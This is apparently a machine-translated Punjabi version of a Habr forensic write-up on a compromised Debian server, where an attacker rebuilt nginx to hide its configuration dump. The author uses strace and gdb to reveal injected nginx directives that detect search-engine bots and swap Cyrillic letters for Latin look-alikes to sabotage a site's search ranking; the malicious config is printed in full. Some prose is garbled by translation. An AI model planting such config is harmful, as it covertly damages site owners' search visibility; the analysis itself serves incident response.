ਜਦੋਂ 'a' 'a' ਦੇ ਬਰਾਬਰ ਨਹੀਂ ਹੁੰਦਾ। ਇੱਕ ਹੈਕ ਦੇ ਮੱਦੇਨਜ਼ਰ

ਮੇਰੇ ਇੱਕ ਦੋਸਤ ਨਾਲ ਇੱਕ ਬਹੁਤ ਹੀ ਦੁਖਦਾਈ ਕਹਾਣੀ ਵਾਪਰੀ। ਪਰ ਇਹ ਮਿਖਾਇਲ ਲਈ ਜਿੰਨਾ ਦੁਖਦਾਈ ਨਿਕਲਿਆ, ਇਹ ਮੇਰੇ ਲਈ ਉਨਾ ਹੀ ਮਨੋਰੰਜਕ ਸੀ।

ਮੈਨੂੰ ਕਹਿਣਾ ਚਾਹੀਦਾ ਹੈ ਕਿ ਮੇਰਾ ਦੋਸਤ ਕਾਫ਼ੀ ਹੈ ਯੂਨਿਕਸ-ਉਪਭੋਗਤਾ: ਸਿਸਟਮ ਨੂੰ ਆਪਣੇ ਆਪ ਇੰਸਟਾਲ ਕਰ ਸਕਦਾ ਹੈ MySQL, PHP ਅਤੇ ਸਧਾਰਨ ਸੈਟਿੰਗ ਕਰੋ nginx.
ਅਤੇ ਉਸ ਕੋਲ ਉਸਾਰੀ ਦੇ ਸਾਧਨਾਂ ਨੂੰ ਸਮਰਪਿਤ ਇੱਕ ਦਰਜਨ ਜਾਂ ਡੇਢ ਵੈਬਸਾਈਟਾਂ ਹਨ.

ਚੇਨਸੌਜ਼ ਨੂੰ ਸਮਰਪਿਤ ਇਹਨਾਂ ਸਾਈਟਾਂ ਵਿੱਚੋਂ ਇੱਕ ਖੋਜ ਇੰਜਣਾਂ ਦੇ ਸਿਖਰ ਵਿੱਚ ਮਜ਼ਬੂਤੀ ਨਾਲ ਬੈਠਦੀ ਹੈ। ਇਹ ਸਾਈਟ ਇੱਕ ਗੈਰ-ਵਪਾਰਕ ਸਮੀਖਿਅਕ ਹੈ, ਪਰ ਕਿਸੇ ਨੂੰ ਇਸ 'ਤੇ ਹਮਲਾ ਕਰਨ ਦੀ ਆਦਤ ਪੈ ਗਈ ਹੈ। ਕਿ ਡੀ.ਡੀ.ਓ., ਫਿਰ ਬਰੂਟ ਫੋਰਸ, ਫਿਰ ਉਹ ਅਸ਼ਲੀਲ ਟਿੱਪਣੀਆਂ ਲਿਖਦੇ ਹਨ ਅਤੇ ਹੋਸਟਿੰਗ ਅਤੇ RKN ਨੂੰ ਗਾਲ੍ਹਾਂ ਭੇਜਦੇ ਹਨ।
ਅਚਾਨਕ, ਸਭ ਕੁਝ ਸ਼ਾਂਤ ਹੋ ਗਿਆ ਅਤੇ ਇਹ ਸ਼ਾਂਤੀ ਚੰਗੀ ਨਹੀਂ ਨਿਕਲੀ, ਅਤੇ ਸਾਈਟ ਨੇ ਹੌਲੀ ਹੌਲੀ ਖੋਜ ਨਤੀਜਿਆਂ ਦੀਆਂ ਸਿਖਰਲੀਆਂ ਲਾਈਨਾਂ ਨੂੰ ਛੱਡਣਾ ਸ਼ੁਰੂ ਕਰ ਦਿੱਤਾ.

ਇਹ ਇੱਕ ਕਹਾਵਤ ਸੀ, ਫਿਰ ਐਡਮਿਨ ਦੀ ਕਹਾਣੀ।

ਇਹ ਸੌਣ ਦਾ ਸਮਾਂ ਨੇੜੇ ਸੀ ਜਦੋਂ ਫ਼ੋਨ ਦੀ ਘੰਟੀ ਵੱਜੀ: “ਸੈਨ, ਕੀ ਤੁਸੀਂ ਮੇਰੇ ਸਰਵਰ ਵੱਲ ਨਹੀਂ ਦੇਖੋਗੇ? ਇਹ ਮੈਨੂੰ ਜਾਪਦਾ ਹੈ ਕਿ ਮੈਨੂੰ ਹੈਕ ਕੀਤਾ ਗਿਆ ਸੀ, ਮੈਂ ਇਸ ਨੂੰ ਸਾਬਤ ਨਹੀਂ ਕਰ ਸਕਦਾ, ਪਰ ਇਸ ਭਾਵਨਾ ਨੇ ਮੈਨੂੰ ਤੀਜੇ ਹਫ਼ਤੇ ਤੱਕ ਨਹੀਂ ਛੱਡਿਆ। ਹੋ ਸਕਦਾ ਹੈ ਕਿ ਇਹ ਮੇਰੇ ਲਈ ਅਧਰੰਗ ਦਾ ਇਲਾਜ ਕਰਵਾਉਣ ਦਾ ਸਮਾਂ ਹੈ?"

ਇਸ ਤੋਂ ਬਾਅਦ ਅੱਧੇ ਘੰਟੇ ਦੀ ਚਰਚਾ ਹੋਈ ਜਿਸ ਦਾ ਸੰਖੇਪ ਇਸ ਤਰ੍ਹਾਂ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ:

• ਹੈਕਿੰਗ ਲਈ ਮਿੱਟੀ ਕਾਫ਼ੀ ਉਪਜਾਊ ਸੀ;
• ਇੱਕ ਹਮਲਾਵਰ ਸੁਪਰ ਉਪਭੋਗਤਾ ਅਧਿਕਾਰ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦਾ ਹੈ;
• ਹਮਲਾ (ਜੇ ਇਹ ਹੋਇਆ ਸੀ) ਖਾਸ ਤੌਰ 'ਤੇ ਇਸ ਸਾਈਟ 'ਤੇ ਨਿਸ਼ਾਨਾ ਬਣਾਇਆ ਗਿਆ ਸੀ;
• ਸਮੱਸਿਆ ਵਾਲੇ ਖੇਤਰਾਂ ਨੂੰ ਠੀਕ ਕੀਤਾ ਗਿਆ ਹੈ ਅਤੇ ਤੁਹਾਨੂੰ ਇਹ ਸਮਝਣ ਦੀ ਜ਼ਰੂਰਤ ਹੈ ਕਿ ਕੀ ਕੋਈ ਪ੍ਰਵੇਸ਼ ਸੀ;
• ਹੈਕ ਸਾਈਟ ਕੋਡ ਅਤੇ ਡੇਟਾਬੇਸ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਨਹੀਂ ਕਰ ਸਕਦਾ ਹੈ।

ਆਖਰੀ ਬਿੰਦੂ ਬਾਰੇ.

ਸਿਰਫ ਸਫੈਦ ਫਰੰਟਐਂਡ ਆਈਪੀ ਦੁਨੀਆ ਨੂੰ ਵੇਖਦਾ ਹੈ. http(s) ਨੂੰ ਛੱਡ ਕੇ ਬੈਕਐਂਡ ਅਤੇ ਫਰੰਟਐਂਡ ਵਿਚਕਾਰ ਕੋਈ ਵਟਾਂਦਰਾ ਨਹੀਂ ਹੈ, ਉਪਭੋਗਤਾ/ਪਾਸਵਰਡ ਵੱਖਰੇ ਹਨ, ਕੋਈ ਕੁੰਜੀਆਂ ਨਹੀਂ ਬਦਲੀਆਂ ਗਈਆਂ ਹਨ। ਸਲੇਟੀ ਪਤਿਆਂ 'ਤੇ, 80/443 ਨੂੰ ਛੱਡ ਕੇ ਸਾਰੀਆਂ ਪੋਰਟਾਂ ਬੰਦ ਹਨ। ਵ੍ਹਾਈਟ ਬੈਕਐਂਡ ਆਈਪੀ ਸਿਰਫ ਦੋ ਉਪਭੋਗਤਾਵਾਂ ਲਈ ਜਾਣੇ ਜਾਂਦੇ ਹਨ, ਜਿਨ੍ਹਾਂ 'ਤੇ ਮਿਖਾਇਲ ਪੂਰੀ ਤਰ੍ਹਾਂ ਭਰੋਸਾ ਕਰਦਾ ਹੈ।

ਫਰੰਟਐਂਡ 'ਤੇ ਸਥਾਪਿਤ ਕੀਤਾ ਗਿਆ ਡੇਬੀਅਨ 9 ਅਤੇ ਜਦੋਂ ਕਾਲ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਸਿਸਟਮ ਨੂੰ ਇੱਕ ਬਾਹਰੀ ਫਾਇਰਵਾਲ ਦੁਆਰਾ ਦੁਨੀਆ ਤੋਂ ਅਲੱਗ ਕਰ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ ਅਤੇ ਬੰਦ ਕਰ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ।

"ਠੀਕ ਹੈ, ਮੈਨੂੰ ਪਹੁੰਚ ਦਿਓ," ਮੈਂ ਇੱਕ ਘੰਟੇ ਲਈ ਨੀਂਦ ਨੂੰ ਟਾਲਣ ਦਾ ਫੈਸਲਾ ਕਰਦਾ ਹਾਂ। “ਮੈਂ ਆਪਣੀਆਂ ਅੱਖਾਂ ਨਾਲ ਦੇਖਾਂਗਾ।”

ਇੱਥੇ ਅਤੇ ਅੱਗੇ:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

ਇੱਕ ਸੰਭਾਵੀ ਹੈਕ ਦੀ ਤਲਾਸ਼ ਕਰ ਰਿਹਾ ਹੈ

ਮੈਂ ਸਰਵਰ ਸ਼ੁਰੂ ਕਰਦਾ ਹਾਂ, ਪਹਿਲਾਂ ਵਿੱਚ ਬਚਾਅ ਮੋਡ. ਮੈਂ ਡਿਸਕਾਂ ਨੂੰ ਮਾਊਂਟ ਕਰਦਾ ਹਾਂ ਅਤੇ ਉਹਨਾਂ ਦੁਆਰਾ ਫਲਿੱਪ ਕਰਦਾ ਹਾਂ ਪ੍ਰਮਾਣ-ਚਿੱਠੇ, ਇਤਿਹਾਸ ਨੂੰ, ਸਿਸਟਮ ਲੌਗਸ, ਆਦਿ, ਜੇ ਸੰਭਵ ਹੋਵੇ, ਤਾਂ ਮੈਂ ਫਾਈਲ ਬਣਾਉਣ ਦੀਆਂ ਤਾਰੀਖਾਂ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹਾਂ, ਹਾਲਾਂਕਿ ਮੈਂ ਸਮਝਦਾ ਹਾਂ ਕਿ ਇੱਕ ਆਮ ਕਰੈਕਰ ਆਪਣੇ ਆਪ ਦੇ ਬਾਅਦ "ਉੱਪਰ" ਹੋ ਜਾਵੇਗਾ, ਅਤੇ ਮੀਸ਼ਾ ਪਹਿਲਾਂ ਹੀ "ਕੁਚਲਿਆ" ਸੀ ਜਦੋਂ ਉਹ ਆਪਣੇ ਆਪ ਨੂੰ ਲੱਭ ਰਿਹਾ ਸੀ .

ਮੈਂ ਆਮ ਮੋਡ ਵਿੱਚ ਸ਼ੁਰੂ ਕਰਦਾ ਹਾਂ, ਅਜੇ ਤੱਕ ਅਸਲ ਵਿੱਚ ਇਹ ਨਹੀਂ ਸਮਝ ਰਿਹਾ ਕਿ ਕੀ ਲੱਭਣਾ ਹੈ, ਮੈਂ ਸੰਰਚਨਾ ਦਾ ਅਧਿਐਨ ਕਰਦਾ ਹਾਂ. ਸਭ ਤੋਂ ਪਹਿਲਾਂ, ਮੈਂ ਇਸ ਵਿੱਚ ਦਿਲਚਸਪੀ ਰੱਖਦਾ ਹਾਂ nginx ਕਿਉਂਕਿ, ਆਮ ਤੌਰ 'ਤੇ, ਇਸ ਤੋਂ ਇਲਾਵਾ ਫਰੰਟਐਂਡ 'ਤੇ ਹੋਰ ਕੁਝ ਨਹੀਂ ਹੈ।
ਸੰਰਚਨਾ ਛੋਟੀਆਂ ਹਨ, ਇੱਕ ਦਰਜਨ ਫਾਈਲਾਂ ਵਿੱਚ ਚੰਗੀ ਤਰ੍ਹਾਂ ਬਣਤਰ, ਮੈਂ ਉਹਨਾਂ ਨੂੰ ਦੇਖਦਾ ਹਾਂ ਬਿੱਲੀਓਹ ਇੱਕ ਇੱਕ ਕਰਕੇ. ਹਰ ਚੀਜ਼ ਸਾਫ਼-ਸੁਥਰੀ ਜਾਪਦੀ ਹੈ, ਪਰ ਤੁਸੀਂ ਕਦੇ ਨਹੀਂ ਜਾਣਦੇ ਹੋ ਕਿ ਕੀ ਮੈਂ ਕੁਝ ਗੁਆ ਦਿੱਤਾ ਹੈ ਸ਼ਾਮਲ ਹਨ, ਮੈਨੂੰ ਇੱਕ ਪੂਰੀ ਸੂਚੀ ਬਣਾਉਣ ਦਿਓ:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

ਮੈਨੂੰ ਸਮਝ ਨਹੀਂ ਆਇਆ: "ਸੂਚੀ ਕਿੱਥੇ ਹੈ?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

ਸੂਚੀ ਦੇ ਸਵਾਲ ਵਿੱਚ ਇੱਕ ਦੂਜਾ ਸਵਾਲ ਜੋੜਿਆ ਗਿਆ ਹੈ: "ਐਨਜੀਨੈਕਸ ਦਾ ਅਜਿਹਾ ਪ੍ਰਾਚੀਨ ਸੰਸਕਰਣ ਕਿਉਂ?"

ਇਸ ਤੋਂ ਇਲਾਵਾ, ਸਿਸਟਮ ਵਿਸ਼ਵਾਸ ਕਰਦਾ ਹੈ ਕਿ ਨਵੀਨਤਮ ਸੰਸਕਰਣ ਸਥਾਪਿਤ ਕੀਤਾ ਗਿਆ ਹੈ:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

ਮੈਂ ਕਾਲ ਕਰ ਰਿਹਾ ਹਾਂ:
- ਮੀਸ਼ਾ, ਤੁਸੀਂ ਦੁਬਾਰਾ ਇਕੱਠੇ ਕਿਉਂ ਹੋਏ? nginx?
- ਜਾਗੋ, ਮੈਨੂੰ ਇਹ ਵੀ ਨਹੀਂ ਪਤਾ ਕਿ ਇਹ ਕਿਵੇਂ ਕਰਨਾ ਹੈ!
- ਠੀਕ ਹੈ, ਸੌਂ ਜਾਓ ...

ਐਨਜੀਕਸ ਇਹ ਸਪੱਸ਼ਟ ਤੌਰ 'ਤੇ ਦੁਬਾਰਾ ਬਣਾਇਆ ਗਿਆ ਹੈ ਅਤੇ "-T" ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸੂਚੀ ਦਾ ਆਉਟਪੁੱਟ ਇੱਕ ਕਾਰਨ ਕਰਕੇ ਲੁਕਿਆ ਹੋਇਆ ਹੈ। ਹੈਕਿੰਗ ਬਾਰੇ ਹੁਣ ਕੋਈ ਸ਼ੱਕ ਨਹੀਂ ਹੈ ਅਤੇ ਤੁਸੀਂ ਇਸਨੂੰ ਸਿਰਫ਼ ਸਵੀਕਾਰ ਕਰ ਸਕਦੇ ਹੋ ਅਤੇ (ਕਿਉਂਕਿ ਮੀਸ਼ਾ ਨੇ ਸਰਵਰ ਨੂੰ ਇੱਕ ਨਵਾਂ ਨਾਲ ਬਦਲਿਆ ਹੈ) ਸਮੱਸਿਆ ਨੂੰ ਹੱਲ ਕਰਨ ਬਾਰੇ ਵਿਚਾਰ ਕਰੋ।

ਅਤੇ ਸੱਚਮੁੱਚ, ਜਦੋਂ ਤੋਂ ਕਿਸੇ ਨੂੰ ਅਧਿਕਾਰ ਮਿਲੇ ਹਨ ਰੂਟ'ਆਹ, ਫਿਰ ਇਹ ਕਰਨਾ ਹੀ ਸਮਝਦਾਰ ਹੈ ਸਿਸਟਮ ਨੂੰ ਮੁੜ ਇੰਸਟਾਲ, ਅਤੇ ਇਹ ਦੇਖਣਾ ਬੇਕਾਰ ਸੀ ਕਿ ਉੱਥੇ ਕੀ ਗਲਤ ਸੀ, ਪਰ ਇਸ ਵਾਰ ਉਤਸੁਕਤਾ ਨੇ ਨੀਂਦ ਨੂੰ ਹਰਾਇਆ. ਅਸੀਂ ਕਿਵੇਂ ਪਤਾ ਲਗਾ ਸਕਦੇ ਹਾਂ ਕਿ ਉਹ ਸਾਡੇ ਤੋਂ ਕੀ ਛੁਪਾਉਣਾ ਚਾਹੁੰਦੇ ਸਨ?

ਆਉ ਟਰੇਸ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰੀਏ:

$ strace nginx -T

ਅਸੀਂ ਇਸਨੂੰ ਦੇਖਦੇ ਹਾਂ, ਟਰੇਸ ਏ ਲਾ ਵਿੱਚ ਸਪੱਸ਼ਟ ਤੌਰ 'ਤੇ ਕਾਫ਼ੀ ਲਾਈਨਾਂ ਨਹੀਂ ਹਨ

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

ਸਿਰਫ਼ ਮਨੋਰੰਜਨ ਲਈ, ਆਓ ਖੋਜਾਂ ਦੀ ਤੁਲਨਾ ਕਰੀਏ।

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

ਮੈਨੂੰ ਕੋਡ ਦਾ ਹਿੱਸਾ ਲੱਗਦਾ ਹੈ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ਫਾਰਮ ਵਿੱਚ ਲਿਆਂਦਾ ਗਿਆ ਸੀ:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ਜ

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ਇਸ ਲਈ "-T" ਦੁਆਰਾ ਸੂਚੀ ਪ੍ਰਦਰਸ਼ਿਤ ਨਹੀਂ ਕੀਤੀ ਗਈ ਹੈ।

ਪਰ ਅਸੀਂ ਆਪਣੀ ਸੰਰਚਨਾ ਨੂੰ ਕਿਵੇਂ ਦੇਖ ਸਕਦੇ ਹਾਂ?

ਜੇ ਮੇਰਾ ਵਿਚਾਰ ਸਹੀ ਹੈ ਅਤੇ ਸਮੱਸਿਆ ਸਿਰਫ ਵੇਰੀਏਬਲ ਵਿੱਚ ਹੈ ngx_dump_config ਚਲੋ ਇਸਨੂੰ ਵਰਤ ਕੇ ਇੰਸਟਾਲ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰੀਏ ਜੀਡੀਬੀ, ਖੁਸ਼ਕਿਸਮਤੀ ਨਾਲ ਇੱਕ ਕੁੰਜੀ ਹੈ --with-cc-opt -g ਮੌਜੂਦ ਹੈ ਅਤੇ ਉਮੀਦ ਹੈ ਕਿ ਓਪਟੀਮਾਈਜੇਸ਼ਨ -ਓ2 ਇਹ ਸਾਨੂੰ ਦੁਖੀ ਨਹੀਂ ਕਰੇਗਾ। ਉਸੇ ਸਮੇਂ, ਕਿਉਂਕਿ ਮੈਨੂੰ ਨਹੀਂ ਪਤਾ ਕਿ ਕਿਵੇਂ ngx_dump_config ਵਿੱਚ ਕਾਰਵਾਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ ਕੇਸ 'ਟੀ':, ਅਸੀਂ ਇਸ ਬਲਾਕ ਨੂੰ ਕਾਲ ਨਹੀਂ ਕਰਾਂਗੇ, ਪਰ ਇਸਨੂੰ ਵਰਤ ਕੇ ਇੰਸਟਾਲ ਕਰਾਂਗੇ ਕੇਸ 't':

ਤੁਸੀਂ '-t' ਦੇ ਨਾਲ-ਨਾਲ '-T' ਕਿਉਂ ਵਰਤ ਸਕਦੇ ਹੋਬਲਾਕ ਪ੍ਰੋਸੈਸਿੰਗ ਜੇਕਰ(ngx_dump_config) ਅੰਦਰ ਵਾਪਰਦਾ ਹੈ ਜੇਕਰ(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

ਬੇਸ਼ੱਕ, ਜੇਕਰ ਕੋਡ ਨੂੰ ਇਸ ਹਿੱਸੇ ਵਿੱਚ ਬਦਲਿਆ ਗਿਆ ਹੈ ਅਤੇ ਵਿੱਚ ਨਹੀਂ ਕੇਸ 'ਟੀ':, ਫਿਰ ਮੇਰਾ ਤਰੀਕਾ ਕੰਮ ਨਹੀਂ ਕਰੇਗਾ।

nginx.conf ਦੀ ਜਾਂਚ ਕਰੋਪ੍ਰਯੋਗਾਤਮਕ ਤੌਰ 'ਤੇ ਸਮੱਸਿਆ ਨੂੰ ਹੱਲ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਇਹ ਸਥਾਪਿਤ ਕੀਤਾ ਗਿਆ ਸੀ ਕਿ ਮਾਲਵੇਅਰ ਦੇ ਕੰਮ ਕਰਨ ਲਈ ਘੱਟੋ-ਘੱਟ ਸੰਰਚਨਾ ਦੀ ਲੋੜ ਹੈ। nginx ਕਿਸਮ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

ਅਸੀਂ ਲੇਖ ਵਿਚ ਸੰਖੇਪਤਾ ਲਈ ਇਸਦੀ ਵਰਤੋਂ ਕਰਾਂਗੇ.

ਡੀਬਗਰ ਲਾਂਚ ਕਰੋ

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

ਕਦਮ ਦਰ ਕਦਮ:

• ਫੰਕਸ਼ਨ ਵਿੱਚ ਇੱਕ ਬ੍ਰੇਕਪੁਆਇੰਟ ਸੈੱਟ ਕਰੋ ਮੁੱਖ()
• ਪ੍ਰੋਗਰਾਮ ਨੂੰ ਸ਼ੁਰੂ ਕਰੋ
• ਵੇਰੀਏਬਲ ਦੇ ਮੁੱਲ ਨੂੰ ਬਦਲੋ ਜੋ ਸੰਰਚਨਾ ਦੇ ਆਉਟਪੁੱਟ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਦਾ ਹੈ ngx_dump_config=1
• ਪ੍ਰੋਗਰਾਮ ਨੂੰ ਜਾਰੀ / ਸਮਾਪਤ ਕਰੋ

ਜਿਵੇਂ ਕਿ ਅਸੀਂ ਦੇਖ ਸਕਦੇ ਹਾਂ, ਅਸਲ ਸੰਰਚਨਾ ਸਾਡੇ ਨਾਲੋਂ ਵੱਖਰੀ ਹੈ, ਅਸੀਂ ਇਸ ਤੋਂ ਇੱਕ ਪਰਜੀਵੀ ਟੁਕੜਾ ਚੁਣਦੇ ਹਾਂ:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ਆਓ ਕ੍ਰਮ ਵਿੱਚ ਇੱਥੇ ਕੀ ਹੋ ਰਿਹਾ ਹੈ 'ਤੇ ਇੱਕ ਨਜ਼ਰ ਮਾਰੀਏ।

ਨਿਰਧਾਰਿਤ ਉਪਭੋਗਤਾ ਏਜੰਟ'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

ਸੇਵਾ ਪੰਨਿਆਂ ਨੂੰ ਬਾਹਰ ਰੱਖਿਆ ਗਿਆ ਹੈ ਵਰਡਪਰੈਸ:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

ਅਤੇ ਉਹਨਾਂ ਲਈ ਜੋ ਉਪਰੋਕਤ ਦੋਵਾਂ ਸਥਿਤੀਆਂ ਵਿੱਚ ਆਉਂਦੇ ਹਨ

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

ਪਾਠ ਵਿੱਚ HTML- ਪੰਨੇ ਬਦਲਦੇ ਹਨ 'ਓ' 'ਤੇ 'ਓ' и 'ਏ' 'ਤੇ 'ਏ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ਇਹ ਸਹੀ ਹੈ, ਸਿਰਫ ਸੂਖਮਤਾ ਇਹ ਹੈ 'a' ! = 'a' ਬਸ ਇੱਦਾ 'ਓ'! = 'ਓ':

ਇਸ ਤਰ੍ਹਾਂ, ਸਰਚ ਇੰਜਨ ਬੋਟ, ਆਮ 100% ਸਿਰਿਲਿਕ ਟੈਕਸਟ ਦੀ ਬਜਾਏ, ਸੋਧਿਆ ਹੋਇਆ ਕੂੜਾ ਲੈਟਿਨ ਨਾਲ ਪਤਲਾ ਪ੍ਰਾਪਤ ਕਰਦੇ ਹਨ। 'ਏ' и 'ਓ'. ਮੈਂ ਇਸ ਗੱਲ 'ਤੇ ਚਰਚਾ ਕਰਨ ਦੀ ਹਿੰਮਤ ਨਹੀਂ ਕਰਦਾ ਕਿ ਇਹ ਐਸਈਓ ਨੂੰ ਕਿਵੇਂ ਪ੍ਰਭਾਵਿਤ ਕਰਦਾ ਹੈ, ਪਰ ਇਹ ਸੰਭਾਵਨਾ ਨਹੀਂ ਹੈ ਕਿ ਅੱਖਰਾਂ ਦੀ ਅਜਿਹੀ ਗੜਬੜ ਖੋਜ ਨਤੀਜਿਆਂ ਵਿੱਚ ਅਹੁਦਿਆਂ 'ਤੇ ਸਕਾਰਾਤਮਕ ਪ੍ਰਭਾਵ ਪਾਵੇਗੀ.

ਮੈਂ ਕੀ ਕਹਿ ਸਕਦਾ ਹਾਂ, ਕਲਪਨਾ ਵਾਲੇ ਲੋਕ.

ਹਵਾਲੇ

GDB ਨਾਲ ਡੀਬੱਗਿੰਗ
gdb(1) — ਲੀਨਕਸ ਮੈਨ ਪੇਜ
strace(1) — ਲੀਨਕਸ ਮੈਨ ਪੇਜ
Nginx - ਮੋਡੀਊਲ ngx_http_sub_module
ਆਰੇ, ਚੇਨਸੌ ਅਤੇ ਇਲੈਕਟ੍ਰਿਕ ਆਰੇ ਬਾਰੇ

ਸਰੋਤ: www.habr.com